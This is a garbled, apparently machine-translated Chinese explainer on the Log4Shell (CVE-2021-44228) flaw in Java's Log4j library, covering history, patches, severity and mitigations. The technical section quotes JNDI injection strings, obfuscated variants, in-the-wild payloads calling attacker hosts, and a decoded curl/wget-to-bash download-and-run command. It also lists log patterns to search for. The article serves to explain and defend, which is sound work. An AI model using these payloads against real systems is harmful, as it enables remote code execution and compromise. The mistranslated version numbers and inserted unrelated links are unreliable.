什么是 Log4j 库?你的弱点是什么?

最后更新: 04/10/2024
Log4j 库

Java 在 IT 相关设备中随处可见,例如移动设备、台式机、服务器、设备 IoT、路由器、打印机、复印机等等。大多数流行的软件应用程序和游戏以及定制的商业应用程序都是使用 Java 开发的。粗略估计有 3 亿台设备正在运行 爪哇岛。 Java 库将 Java 的稳健性提升到了一个不同的水平。

其中之一 库是 Log4J,由开源 Apache 软件基金会开发。 Log4J 库是 Java 日志框架的重要组成部分,负责记录来自应用程序的错误消息。

使用 Log4J 库

日志记录可以帮助开发人员查看应用程序执行的所有活动,并且几乎所有软件应用程序(甚至基于云的应用程序)都会创建其错误日志。开发人员通常不会创建应用程序的日志系统(以免重新发明轮子),而是更喜欢使用已建立的日志库(编码和开发中的通用标准)和其中之一 记录 更多 流行 Java 的 日志4J.

因此, 几乎所有应用程序 (包括来自政府、机构、公司、微软、苹果、 Google等),即 用Java编写的 可能有这个库,并且这个库中的漏洞可能是 最糟糕的噩梦 和梦想 网络安全。 对于黑客来说确实如此。

另外,这个库是开源的,所以不需要 有官方数据 关于有多少设备/应用程序正在使用该库。

Log4J被很多人使用 应用 流行(比如 Twitter(现为X)、苹果 iCloud)、 juegos (如 我的世界, 蒸汽), sitios网等。除此之外,这个图书馆也是许多图书馆的一部分 其他框架 例如 Kafka、Elasticsearch、Flink。容易受到 Log4J 攻击的应用程序、产品和插件的列表正在不断增加。

检测 Log4J 中的漏洞

第一份报告 Log4J 中的一个漏洞最初出现在 1 st 2021 年 XNUMX 月 陈兆军 由阿里云安全团队发现,作为标准的错误搜寻实践和负责的 IT 人员,该团队向 Apache 基金会通报了该缺陷(尽管一些错误搜寻者将此类漏洞出售给黑客,并且这些漏洞数月或数年都没有被注意到) 。这 检测 已发生在 我的世界。 的 聊天功能 Minecraft 的 是 Log4J 漏洞利用的源标识。

该游戏的聊天算法基于使用 Log4J 库的 Java API,该库允许坏人冻结 Minecraft 服务器、删除所有玩家等。在有利的环境下,该漏洞很容易被 远程代码执行(RCE)。,提高了漏洞的威胁级别。

Log4J 库中存在的漏洞已于 9 月被公开接受 º Apache 于 2021 年 XNUMX 月发布。该漏洞是 命名 如 Log4Shell 这是正式的 标记的 如 CVE-2.021 至 44.228。 (CVE C 常见的 V 弱点和 E xposures)编号系统是唯一标识全球检测到的每个漏洞/利用的术语。

Log4J 被归类为日间漏洞 CERO (或第 0 天)。零日漏洞意味着,甚至在开发人员得知该漏洞并利用零日漏洞部署补丁之前,黑客就已经瞄准了该漏洞。

受影响的 Log4J 库版本和已发布的补丁

据悉,版本 在2.0 Log2.14.1J 4 受该漏洞影响。版本 Log2.15.0J 4 是 原始补丁 发布了 CVE-2021-44228,但后来在 Log4J 中发现了另一个漏洞(主要是在非默认配置中),标记为 CVE-2021-45046。该漏洞有一个 碰撞 de 安全 de 3.7 (与原始漏洞相比相当低)。 Apache 基金会随后启动 Log4j 版本 2.16 修补原始解决方案中的漏洞。

当我们撰写本文时,Apache 发布了另一个 Log4J 补丁 版本2.17 Log4J 漏洞标记为 CVE-2021-45105 (拒绝服务/DoS 攻击)。有关补丁的信息可在 Log4J 的官方安全页面 网站 Apache (阿帕奇).

很多读者可能会想,既然Log4J已经打了补丁,为什么还会出现这个问题呢?虽然最新版本的Log4J库已经打了补丁,但是应用程序、产品、插件等都还没有更新。仍然使用旧版本 Log4J 的系统尚未修补。此外,还有一些应用程序已成为废弃软件并使用易受攻击的 Log4J 版本。 Abandonware 是一种被其所有者/制造商忽视/未进一步开发且没有官方支持的软件产品。

  如何修复错误 0x00000050:PAGE_FAULT_IN_NONPAGED_AREA

Log4J 漏洞利用的严重程度

在安全影响评级中,Log4J 漏洞很容易被评为 10/10(可能的最高风险级别)。该漏洞的严重性如此之大,以至于所有主要参与者(微软、谷歌、思科等)以及政府和 Apache(Log4J 开发人员)都在全天候工作以修补该漏洞。这些企业的关注和回应可以在他们的官方网站或社交媒体账户上看到。漏洞的严重程度可以表明何时 CISA 总监 Jen Easterly (我们 C 网络安全和 I 网络基础设施 s tructure A 机构)提到 Log4J 漏洞为

即使不是最严重的,也是很长一段时间以来最严重的之一。 

由于这种严重性,IT 行业领导者认为该漏洞 日志4J 将遵循 跟踪 la 未来几年的行业.

为什么 Log4J 漏洞没有更早被发现?

许多用户想知道为什么 Log4J 库自 2013 年推出以来没有检测到如此严重的漏洞。 EE。 呃。 2016个 BlackHatEvents 报告了 Log4J 漏洞,该漏洞将 JNDI 视为攻击媒介,而当前漏洞是一种允许使用 JNDI 的模板注入类型。

但在软件应用中,随着新技术的出现、IT行业视野的变化,漏洞很难被检测到(例如,互联网发明之前和互联网之后的软件应用就是不同的情况)。

另外,如上所述,4 以下的 Log2.0J 库版本不受影响(它们有自己的问题),因此 技术进步 这就是该漏洞能够被检测到的原因。

利用Log4J漏洞进行攻击

随着新漏洞的出现,黑客们纷纷利用他们的工具来利用该漏洞。第一个 恶意软件 检测到指向漏洞的是 加密矿工 (提取 criptomonedas 受影响的机器)。

这是被关注的 钴罢工 (渗透测试)窃取受感染系统的用户名/密码。然后这艘船加入了基于勒索软件的恶意软件,例如 孔萨里 和 清单继续.

最后但并非最不重要的一点是, 支持的黑客组织 一些国家正在利用这一漏洞瞄准竞争对手。以下是 ESET 绘制的关于所报告的攻击的地图(美国、英国、德国、土耳其和荷兰的攻击量最高)。

到目前为止,有 已报告超过 1800000 起事件 (并且还在计数)黑客尝试使用此 Log4J 漏洞。此外,几乎超过 40% 的企业网络 被利用该漏洞进行攻击。的可用性 漏洞利用代码 en 几个站点 这让事情变得更糟。此外,事情变得复杂,因为漏洞可以 指导的 由 HTTP y HTTPS.

但这只是起点,因为,如果 恶意软件蠕虫 针对该漏洞,那么其影响可能会比原来的漏洞大得多。因为,计算机蠕虫是一个独立的软件,可以在网络上悄悄地复制和传播(例如, 红色蠕虫代码 在2000年代或 WannaCry 在2017)。

科莫funciona

Log4J 库(以及日志框架)跟踪应用程序正在执行的操作并使用该漏洞,攻击者只需强制执行 Log4J 中的日志条目 使用简单的任务,例如设置帐户用户名或在电子邮件中发送代码字符串。

  如何修复错误 0x80073701:Windows 更新安装错误

攻击者在日志框架中创建应用程序的日志条目可以 因应用程序而异 (例如,在《我的世界》中,使用了聊天功能)或从一台计算机到另一台计算机。一旦使用恶意代码创建了这样的注册表项,攻击者就可以将恶意代码上传到机器上, 完全控制系统、通过网络传播、安装恶意软件、发起另一种形式的攻击或其他任何行为。

这个漏洞最危险的部分是它是» 预认证”,这意味着黑客无需登录易受攻击的系统即可控制它。

该漏洞利用可以是 形容 简单地 在接下来的步骤中:

  • El 黑客激活 通过用户提供的输入发送恶意负载来利用。此负载可以是 HTTP/HTTPS 标头或易受攻击的应用程序使用 Log4j 记录的任何其他内容。
  • 应用 记录 将恶意负载注入您的数据中。
  • La Log4J 库尝试解释 恶意用户输入和 连接到由黑客控制的服务器 (例如,LDAP)。
  • El 服务器 恶意(例如 LDAP) 返回响应 它告诉应用程序 加载 un 远程类java文件.
  • 应用程序下载并 运行远程文件 这为黑客实施不良行为打开了大门。

该过程的解释如下表所示:

你安全吗?

因此,在完成上述操作后,用户会提出一个问题:我确定吗? 这取决于。如果用户属于使用 Log4J Java 库的组织的一部分,那么他们及其组织就会面临风险。

如果用户或他们的组织不使用任何基于 Java 的东西(不太可能),而是使用企业应用程序依赖项,3 rd 用户或其组织可能会面临第三方供应商实用程序或基于 Java 的应用程序的风险。您可以在 Internet 上搜索您正在使用的应用程序(如果它们容易受到攻击)。

怎么办呢?

现在,最后一个问题是,如果您的系统或组织中存在 Log4J 漏洞该怎么办。

对于一个用户

普通最终用户 不能做任何实质性的事情 关于此漏洞,除了保持您的应用程序(尤其是防病毒/反恶意软件应用程序)、设备或操作系统处于最新状态之外。

如果用户使用以下形式 放弃的 ,卸载它可以保证您的系统安全。此外,如果您使用的是 在线服务 (如 Stream),确保他们有 应用补丁 (检查他们的官方页面或社交媒体句柄)是普通用户的选择。

对于一个组织

保护组织免受 Log4J 攻击的里程可以 各个组织之间有所不同。第一步必须是 进行审计 整个基础设施、应用程序依赖性、3 rd 合作伙伴供应商实用程序或远程员工来查明漏洞是否存在。审核应在应用程序日志中搜索以下模式或其派生:

${jndi:ldap:/}

${jndi:ldaps:/}

${jndi:rmi:/}

${jndi:dns:/}

${jndi:iiop:/}

该组织还可以使用 自动搜索工具 e 威胁调查 (如 TrendMicro 的 Log4J 漏洞测试仪)来发现任何具有 Log4J 漏洞的应用程序。组织的开发人员应负责检查其代码中是否有任何对 Log4J 漏洞的引用。

此外, 设备 连接到 网络 必须尽快修补组织的漏洞,以避免灾难。组织必须尽快采取行动,因为它必须与攻击漏洞的至少提前 7 天的不良行为者竞争。

其次,您还必须放置一个 Web应用程序防火墙 尽快保护组织的资源和数据。几乎所有主要参与者(微软、甲骨文、苹果、谷歌、亚马逊等)都更新了他们的服务并为其产品发布了补丁。

因此,组织必须确保使用最新补丁更新其正在使用的所有应用程序和服务。此外,商业组织必须 限制不必要的互联网流量 减少您的暴露,这将降低您的风险水平。

漏洞的技术方面

到目前为止,我们试图用简单的术语来讨论 Log4J 漏洞,但在本节中,我们将从开发人员的技术术语中讨论 Log4J 漏洞。该漏洞的利用方式是搜索 JNDI (Java 命名和目录接口)。这可能会导致 拒绝服务攻击 (DoS)攻击。

  如何免费下载 Reimage Repair

每当 JNDI 遇到像 ${a_Java_expression} 这样的表达式时,它就会查找该表达式的值并替换它。一些 Log4J 兼容搜索 它们是 sys、JNDI、env、java、lower 和 upper。一些 Log4J 搜索支持的协议它们是 LDAP、DNS、RMI 和 IIOP。

为了将条目注入到应用程序日志中,攻击者可以使用对服务器的 HTTP 请求,收到请求后,Log4J Search 将下载并执行恶意类(托管在黑客控制的 LDAP 服务器上),如果 ObjectClass 属性为LDAP 对象定义为 javaNamingReference 并具有以下属性:

java代码库

java工厂

java类名

然后他 LDAP 对象加载器 将提取 javaCodebase 中定义的恶意 URL 的内容并创建一个 对应的对象 在 记忆。一旦初始化方法或更正式地执行,所提到的类的构造函数就会被执行, 不受信任的代码 一 来源不可靠 在受感染的机器上。

La 表达 更多 基本的 攻击者可以注入 Log4J 的是

${jndi:ldap://{attacker_website}/a}

这将运行 托管恶意代码 在:

http://{attacker_website}/{恶意类}

一旦恶意代码成功执行,服务器就会解释导致 comandos 各种格式的 shell,如 JavaScript、Java Class、 Unix的 shell 等等。

增加漏洞严重性的另一个因素是 容量 de 筑巢 该 Java ${} 块, 这将使检测可疑字符串变得更加困难。例如,黑客可以使用 ${${lower:jn}${lower:di}} 代替 ${jndi:},这将允许黑客从远程服务器提取信息/数据。

读者心中可能会出现一个有趣的问题: 放置代码 哪些可以登陆Log4J库?许多应用程序都会记录发生在它们身上的所有事情,包括传入请求,例如 HTTP 标头(例如 User-Agent 或 X-Fordered-For)、URI、请求正文等。

最糟糕的是,攻击者可以向整个互联网记录器应用程序发送此类请求,然后可以发出命令来控制受感染的计算机。下图阐明了该过程:

下面是一些 Ejemplos 的 已识别的 URL 到目前为止开始不同 攻击类型 通过使用 Log4J 库:

${jndi%3aldap%3a //0ky8rj5089x9qx7tq8djb3rpp.canarytokens[.]com/a}

${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${主机名:user:env}.c6340b92vtc00002scfggdpcz9eyyyyyd.interactsh[.]com}

$ {Jndi:$ {向下:l} $ {下载:d} $ {下载:a} $ {向下:p}://195.54.160 149[.]:12344/基本/命令/基数64/ kN1cmwglxmgmtk1lJu0lje FHDNZXQGLXEGLU2Tide4NS6NC3XNJAUMTQ80OJU41NZQVndUuntyuouciji45OJGWKXXIYXNO}

${jndi:ldap://5819.u837r4g5oolsy8hudoz24c15nwtohd.burpcollaborator[.]net/a}

${${env:ENV_NAME:-j} ndi ${env:ENV_NAME:-:} ${env:ENV_NAME:-l} dap ${env:ENV_NAME:-:} // 62.182.80.168:1389/pien3m}

${${底部:j}${顶部:n}${底部:d}${顶部:i}:${底部:l}${底部:d}${底部:a}${底部:p }}: //67.205.191.102:1389/koejir}}

以下为部分内容 HTTP 服务器日志 显示了 Log4J 的尝试利用:

45.155.205 [.] 233:53590 服务器:80 – [10/Dec/2021:13:25:10 +0000] “GET/HTTP/1.1” 200 1671 “-” “${jndi:ldap://45.155 .205[.]233:12344 /Basic/Command/Base64/[BASE64 代码已删除]} «

La Base64 字符串 在之前的记录中,它被解码为:

(curl -s 45.155.xxx.xxx:5874/服务器:80||wget -q -O- 45.155.xxx.xxx:5874/服务器:80)|bash

这将从 45.155.xxx.xxx 中查找恶意代码,然后执行 脚本 使用 Bash。

最后,我们希望我们的读者 专心 对此威胁,我们不应掉以轻心,因为互联网因该漏洞而火爆是有原因的。